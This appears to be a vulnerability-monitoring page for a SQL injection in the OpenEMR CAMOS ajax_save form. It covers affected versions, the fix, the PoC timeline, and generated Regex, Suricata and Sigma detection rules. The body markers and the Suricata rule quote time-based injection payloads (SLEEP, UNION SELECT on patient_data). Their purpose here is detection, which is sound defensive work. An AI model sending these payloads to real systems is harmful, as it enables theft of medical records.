OpenEMR
OpenEMR has SQL Injection in CAMOS Form
OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.3 contais a SQL injection vulnerability in the ajax_save CAMOS form that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax_save page in the CAMOS form. Version 8.0.0.3 patches the issue.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 8.0.0.3
Fixed in 8.0.0.3
Mitigation
Upgrade openemr to 8.0.0.3 or later.
References
- Vendor advisory github.com/openemr/openemr/security/advisories…
- Patch github.com/openemr/openemr/commit/4d48821d18e4…
- Release notes github.com/openemr/openemr/releases/tag/v8_0_0…
Timeline
Days relative to CVE publicationFirst public PoC 28 days before publication; not in CISA KEV. First PoC: ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0 (created 25 Feb 2026, found by us: backfilled).
PoC repositories
Found on GitHub.1 PoCs
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0 | 25 Feb 2026 −28 d | 0 | PoC
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
PoC characteristics
What to hunt for in your logs · from 1 PoC repoPOST /interface/forms/CAMOS/ajax_save.php
- Key headers
Cookie: OpenEMR=f8cee855217b5740619ad53f0879da5bCookie: OpenEMR=372430245364b5ee0c46d7d24b5814f6- Body markers
csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07category=subcategory=item=content=/*date_add::injection"payload*/csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872acontent=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data WHERE 1=0 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data WHERE 1=1 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/inapplication/x-www-form-urlencoded- Seen in
- 1 repo: ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0
- Evidence
- ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:86 ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:91 ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:110 ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:114
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/interface/forms/CAMOS/ajax_save\.php(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-33917 openemr openemr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/interface/forms/CAMOS/ajax_save.php"; http.header; content:"Cookie: OpenEMR=f8cee855217b5740619ad53f0879da5b"; nocase; http.header; content:"Cookie: OpenEMR=372430245364b5ee0c46d7d24b5814f6"; nocase; http.request_body; content:"csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07"; http.request_body; content:"category="; http.request_body; content:"subcategory="; http.request_body; content:"item="; http.request_body; content:"content=/*date_add::injection|22|payload*/"; http.request_body; content:"csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a"; http.request_body; content:"content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/"; http.request_body; content:"content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data WHERE 1=0 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/"; http.request_body; content:"content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data WHERE 1=1 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/"; reference:url,poc.griffinguard.io/cve/CVE-2026-33917; classtype:web-application-attack; sid:9026199; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: openemr openemr exploit attempt (CVE-2026-33917)
id: gg-pocmon-cve-2026-33917-9026199
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-33917. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-33917
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/interface/forms/CAMOS/ajax_save.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.33917